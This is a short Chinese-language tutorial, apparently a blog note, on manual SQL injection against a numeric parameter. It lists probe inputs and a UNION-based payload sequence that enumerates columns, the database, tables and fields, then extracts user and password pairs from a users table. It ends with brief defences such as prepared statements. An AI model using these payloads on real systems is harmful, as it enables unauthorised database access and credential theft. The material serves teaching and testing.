Sql注入--数字型手工测试
漏洞原因:是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)
测试语句:
- 直接加参数判断 ‘ / \ (有报错代表可能有注入点)
- 1 and 1=1
- 1 and 1=2
- 1’ or 1=1 --+
- 1’ or 1=1 #
- 1’ or ‘1’=’1
发现有注入点,测试步骤:
- 判断字段数 1' order by 2--+
- 查看可代入查询的点 1' union select 1,2--+
- 爆数据库 1' union select 1,database()--+
- 爆表 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
- 爆字段 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 爆内容 1' union select 1,concat(user,0x2f,password) from users --+
判断字段数,看到有回显的,说明有2个字段数。
通过union slelct 看到2个字段数,哪里可以代入查询,发现1跟2都可以
爆数据库
爆表,得到有2张表,我们关心是users表
查看users表的字段
查看user,password 内容,得到有5条数据
漏洞防护:
- 检查变量数据类型和格式
- 过滤特殊符号
- 绑定变量,使用预编译语句
Sql注入还有很多种类型,原因都是一样,难点主要是找注入点。当然用工具的话是会快很多。
好了数字型的手工注入,告一段落,下次带来sqlmap注入的简易操作